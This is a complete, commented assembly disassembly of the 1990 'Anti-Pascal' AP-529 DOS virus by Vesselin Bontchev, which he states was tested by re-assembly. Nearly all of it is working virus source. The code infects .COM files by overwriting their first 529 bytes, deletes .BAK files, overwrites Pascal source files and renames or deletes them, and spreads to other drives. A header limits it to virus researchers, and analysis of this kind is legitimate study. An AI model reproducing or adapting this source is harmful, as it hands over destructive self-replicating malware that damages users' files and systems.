home *** CD-ROM | disk | FTP | other *** search
- page ,132
-
- name AP529
-
- title AP529 - The 'Anti-Pascal' Virus, version AP-529
-
- .radix 16
-
-
-
- ; ╔══════════════════════════════════════════════════════════════════════════╗
-
- ; ║ Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
-
- ; ║ Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 ║
-
- ; ║ ║
-
- ; ║ The 'Anti-Pascal' Virus, version AP-529 ║
-
- ; ║ Disassembled by Vesselin Bontchev, June 1990 ║
-
- ; ║ ║
-
- ; ║ Copyright (c) Vesselin Bontchev 1989, 1990 ║
-
- ; ║ ║
-
- ; ║ This listing is only to be made available to virus researchers ║
-
- ; ║ or software writers on a need-to-know basis. ║
-
- ; ╚══════════════════════════════════════════════════════════════════════════╝
-
-
-
- ; The disassembly has been tested by re-assembly using MASM 5.0.
-
-
-
- code segment
-
- assume cs:code,ds:code
-
-
-
- org 100
-
-
-
- vlen = v_end-start
-
- crit equ 12 ; Address of the original INT 24h handler
-
-
-
- start:
-
- push ax ; Save registers used
-
- push cx
-
- push si
-
- push di
-
- push bx
-
- push flen ; Save current file length
-
-
-
- ; The operand of the instruction above is used as a signature by the virus
-
-
-
- sign equ $-2
-
-
-
- jmp short v_start ; Go to virus start
-
-
-
- flen dw vlen ; File length before infection
-
- f_name db 13d dup (?) ; File name buffer for the rename function call
-
- fmask db '*.' ; Mask for FindFirst/FindNext
-
- fext db 'com', 0 ; The extension part of the file mask
-
- parent db '..', 0 ; Path for changing to the parent dir
-
-
-
- com db 'com' ; File extensions used
-
- bak db 'bak'
-
- pas db 'pas'
-
- wild db '???'
-
- exe db 'exe'
-
-
-
- dta equ $ ; Disk Transfer Address area
-
- drive db ? ;Drive to search for
-
- pattern db 11d dup (?) ;Search pattern
-
- reserve db 9 dup (?) ;Not used
-
- attrib db ? ;File attribute
-
- time dw ? ;File time
-
- date dw ? ;File date
-
- fsize dd ? ;File size
-
- namez db 14d dup (?) ;File name found
-
-
-
- mem_seg dw ? ; Segment of the allocated I/O buffer
-
- sizehld dw ? ; Size holder
-
-
-
- v_start:
-
- mov bx,1000 ; Shrink program memory size to 64 K
-
- mov ah,4A
-
- int 21 ; Do it
-
-
-
- mov ah,48 ; Allocate I/O buffer in memory
-
- mov bx,vlen/16d+1 ; (at least vlen long)
-
- int 21 ; Do it
-
- jc cleanup ; Exit on error
-
- mov mem_seg,ax ; Save the segment of the allocated memory
-
-
-
- mov ax,2524 ; Set critical error handler
-
- mov dx,offset int_24
-
- int 21 ; Do it
-
-
-
- mov ah,1A ; Set new DTA area
-
- mov dx,offset dta
-
- int 21 ; Do it
-
-
-
- mov ah,19 ; Get default drive
-
- int 21
-
- push ax ; Save it on stack
-
-
-
- call infect ; Proceed with infection
-
-
-
- int 11 ; Put equipment bits in ax
-
- test ax,1 ; Diskette drives present?
-
- jz cleanup ; Exit if not (?!)
-
-
-
- shl ax,1 ; Get number of floppy disk drives
-
- shl ax,1 ; in AH (0-3 means 1-4 drives)
-
- and ah,3
-
-
-
- add ah,2 ; Convert the number of drives to
-
- mov al,ah ; the range 2-5 and put it into BL
-
- mov bx,ax
-
- xor bh,bh
-
-
-
- cmp bl,3 ; More than 2 floppy drives?
-
- ja many ; Check if the highest one is removable if so
-
- mov bl,3 ; Otherwise check disk C:
-
- many:
-
- mov ax,4408 ; Check whether device is removable
-
- int 21
-
- jc cleanup ; Exit on error (network)
-
- or ax,ax ; Is device removable?
-
- jz cleanup ; Exit if so
-
-
-
- mov dl,bl ; Otherwise select it as default
-
- dec dl
-
- mov ah,0E
-
- int 21 ; Do it
-
-
-
- call infect ; Proceed with this drive also
-
-
-
- cleanup:
-
- pop dx ; Restore saved default disk from stack
-
- mov ah,0E ; Set default drive
-
- int 21 ; Do it
-
-
-
- pop flen ; Restore flen
-
-
-
- mov es,mem_seg ; Free allocated memory
-
- mov ah,49
-
- int 21 ; Do it
-
-
-
- mov ah,4A ; Get all the available memory
-
- push ds ; ES := DS
-
- pop es
-
- mov bx,-1
-
- int 21 ; Do it
-
-
-
- mov ah,4A ; Assign it to the program (the initial state)
-
- int 21 ; Do it
-
-
-
- mov dx,80 ; Restore old DTA
-
- mov ah,1A
-
- int 21 ; Do it
-
-
-
- mov ax,2524 ; Restore old critical error handler
-
- push ds ; Save DS
-
- lds dx,dword ptr ds:[crit]
-
- int 21 ; Do it
-
- pop ds ; Restore DS
-
-
-
- pop bx ; Restore BX
-
-
-
- mov ax,4F ; Copy the program at exit_pgm into
-
- mov es,ax ; the Intra-Aplication Communication
-
- xor di,di ; Area (0000:04F0h)
-
- mov si,offset exit_pgm
-
- mov cx,pgm_end-exit_pgm ; exit_pgm length
-
- cld
-
- rep movsb ; Do it
-
- mov ax,ds ; Correct the Far JMP instruction with
-
- stosw ; the current DS value
-
-
-
- mov di,offset start ; Prepare for moving vlen bytes
-
- mov si,flen ; from file end to start
-
- add si,di
-
- mov cx,vlen
-
- push ds ; ES := DS
-
- pop es
-
- ; jmp far ptr 004F:0000 ; Go to exit_pgm
-
- db 0EA, 0, 0, 4F, 0
-
-
-
- exit_pgm:
-
- rep movsb ; Restore the original bytes of the file
-
- pop di ; Restore registers used
-
- pop si
-
- pop cx
-
- pop ax
-
- db 0EA, 0, 1 ; JMP Far at XXXX:0100
-
- pgm_end equ $
-
-
-
- lseek:
-
- mov ah,42
-
- xor cx,cx ; Offset := 0
-
- xor dx,dx
-
- int 21 ; Do it
-
- ret ; And exit
-
-
-
- f_first: ; Find first file with extension pointed by SI
-
- mov di,offset fext ; Point DI at extension part of fmask
-
- cld ; Clear direction flag
-
- movsw ; Copy the extension pointed by SI
-
- movsb ; to file mask for FindFirst/FindNext
-
- mov ah,4E ; Find first file matching fmask
-
- mov cx,20 ; Normal files only
-
- mov dx,offset fmask
-
- ret ; Exit
-
-
-
- wr_body:
-
- mov ax,3D02 ; Open file for reading and writing
-
- mov dx,offset namez ; FIle name is in namez
-
- int 21 ; Do it
-
- mov bx,ax ; Save handle in BX
-
-
-
- mov ah,3F ; Read the first vlen bytes of the file
-
- mov cx,vlen ; in the allocated memory buffer
-
- push ds ; Save DS
-
- mov ds,mem_seg
-
- xor dx,dx
-
- int 21 ; Do it
-
-
-
- mov ax,ds:[sign-start] ; Get virus signature
-
- pop ds ; Restore DS
-
- cmp ax,word ptr ds:[offset sign] ; File already infected?
-
- je is_inf ; Exit if so
-
- push ax ; Save AX
-
- mov al,0 ; Lseek to the file beginning
-
- call lseek ; Do it
-
- mov ah,40 ; Write virus body over the
-
- mov dx,offset start ; first bytes of the file
-
- mov cx,sizehld ; Number of bytes to write
-
- int 21 ; Do it
-
-
-
- pop ax ; Restore AX
-
- clc ; CF == 0 means infection successfully done
-
- ret ; Exit
-
- is_inf:
-
- stc ; CF == 1 means file already infected
-
- ret ; Exit
-
-
-
- rename:
-
- push si ; Save SI
-
- mov si,offset namez ; Point SI at file name
-
- mov dx,si ; Point DX there too
-
- mov di,offset f_name ; Point DI at the name buffer
-
-
-
- cpy_name:
-
- lodsb ; Get byte from the file name
-
- stosb ; Store it in the name buffer
-
- cmp al,'.' ; Is all the name (up to the extension) copied?
-
- jne cpy_name ; Loop if not
-
-
-
- pop si ; Restore SI
-
- movsw ; Copy the new extension
-
- movsb ; into the file name buffer
-
- xor al,al ; Make the file name ASCIIZ
-
- stosb ; by placing a zero after it
-
-
-
- mov ah,56 ; Now rename the file to the new extension
-
- mov di,offset f_name
-
- int 21 ; Do it
-
- ret ; Done. Exit
-
-
-
- infect:
-
- mov si,offset com ; Find the first .COM file in this dir
-
- call f_first
-
- f_next2:
-
- int 21 ; Do it
-
- jc pass_2 ; Do damage if no such files
-
-
-
- mov ax,word ptr fsize ; Check the size of the file found
-
- cmp ax,vlen ; Less than virus length?
-
- jb next ; Too small, don't touch
-
- cmp ax,0FFFF-vlen ; Bigger than 64 K - vlen?
-
- ja next ; Too big, don't touch
-
- mov flen,ax ; Save file length
-
- mov sizehld,vlen
-
- call wr_body ; Write virus body over the file
-
- jc next ; Exit on error
-
- mov al,2 ; Lseek to file end
-
- call lseek ; Do it
-
- push ds ; Save DS
-
- mov ds,mem_seg ; Write the original bytes from
-
- mov cx,vlen ; the file beginning after its end
-
- xor dx,dx
-
- mov ah,40
-
- int 21 ; Do it
-
- pop ds ; Restore DS
-
-
-
- close:
-
- mov ah,3E ; Close the file handle
-
- int 21 ; Do it
-
- ret ; And exit
-
-
-
- next:
-
- call close ; Close the file
-
- mov ah,4F ; And go find another one
-
- jmp f_next2
-
-
-
- pass_2:
-
- mov si,offset bak ; Find a *.BAK file
-
- call f_first ; Do it
-
- int 21
-
- jc pas_srch ; On error search for *.PAS files
-
- mov dx,offset namez ; Otherwise delete the file
-
- mov ah,41 ; Do it
-
- int 21
-
-
-
- pas_srch:
-
- mov si,offset pas ; Find a *.PAS file
-
- call f_first ; Do it
-
- int 21
-
- jc inf_xit ; Exit on error
-
-
-
- mov ax,word ptr fsize
-
- mov sizehld,ax ; Save file size
-
- call wr_body ; Overwrite the file with the virus body
-
- call close ; Close it
-
- mov si,offset com ; Try to rename it as a .COM file
-
- call rename ; Do it
-
- jnc inf_xit ; Exit if renaming OK
-
- mov si,offset exe ; Otherwise try to rename it as an .EXE file
-
- call rename ; Do it
-
- jnc inf_xit ; Exit if renaming OK
-
- mov ah,41 ; Otherwise just delete that stupid file
-
- int 21 ; Do it
-
- inf_xit:
-
- ret ; And exit
-
-
-
- int_24: ; Critical error handler
-
- mov al,2 ; Abort suggested (?!)
-
- iret ; Return
-
-
-
- v_end = $
-
-
-
- ; Here goes the rest of the original program (if any):
-
-
-
- ; And here (after the end of file) are the overwritten first 529 bytes:
-
-
-
- jmp quit ; The original "program"
-
-
-
- db (529d - 8) dup (90)
-
-
-
- quit:
-
- mov ax,4C00 ; Just exit
-
- int 21
-
-
-
- code ends
-
- end start
-